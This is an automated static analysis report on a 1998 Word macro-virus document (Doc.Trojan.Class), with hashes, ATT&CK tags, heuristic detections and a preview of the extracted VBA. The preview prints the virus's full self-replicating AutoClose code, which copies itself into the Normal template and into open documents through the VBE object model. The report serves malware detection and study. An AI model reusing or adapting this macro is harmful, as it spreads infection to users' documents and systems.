Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ebb1bcbdd1a781a6…

MALICIOUS

Office (OLE)

38.5 KB Created: 1998-09-02 23:50:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d831165248467649c4f53ab35f47dee3 SHA-1: 9212a6cb4466c58ae7d94e41ee9e0cbc098a4ec1 SHA-256: ebb1bcbdd1a781a644050ca3b340bb67d7f877b0e369d589460b1ed0ea62897e
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and a critical ClamAV detection, indicating malicious intent. The AutoClose macro attempts to export its VBA code to 'c:\class.sys', suggesting a payload staging or persistence mechanism. The presence of VBA macros and the potential for malicious document delivery via email lead to a high confidence assessment.

Heuristics 5

  • ClamAV: Doc.Trojan.Class-23 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-23
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        .deletelines 1
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4140 bytes
SHA-256: 57bf36198d9a5fe0720f021658074c3a44b7bf6e35892715eea0bb01dc82b1f3
Detection
ClamAV: Doc.Trojan.Class-23
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AutoClose()
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
On Error GoTo out
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
Options.VirusProtection = True
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
Options.SaveNormalPrompt = True
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
Options.ConfirmConversions = False
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
If Day(Now) = 31 Then MsgBox "•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•" + Chr$(13) + "•  VicodinES /CB /TNN •" + Chr$(13) + "•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•", 0, "This Is Class"
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
If nt = 0 Then
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
    Set host = NormalTemplate.VBProject.VBComponents.Item(1)
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
    ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
End If
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
If nt > 0 And ad > 0 Then GoTo out
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
host.codemodule.AddFromFile ("c:\class.sys")
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
With host.codemodule
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
    For x = 1 To 4
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
    .deletelines 1
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
    Next x
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
End With
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
If nt = 0 Then
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
    With host.codemodule
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
    .replaceline 1, "Sub AutoClose()"
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
    .replaceline 69, "Sub ToolsMacro()"
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
    End With
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
End If
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
With host.codemodule
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
    For x = 2 To 70 Step 2
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
    .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Now
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
    Next x
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
End With
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
out:
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
If nt <> 0 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
End Sub
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
Sub ToolsMacro()
'l-9/2/98 6:52:02 PMPanasonic KX-P6100 GDI on KXPGDI9/2/98 6:52:02 PM
End Sub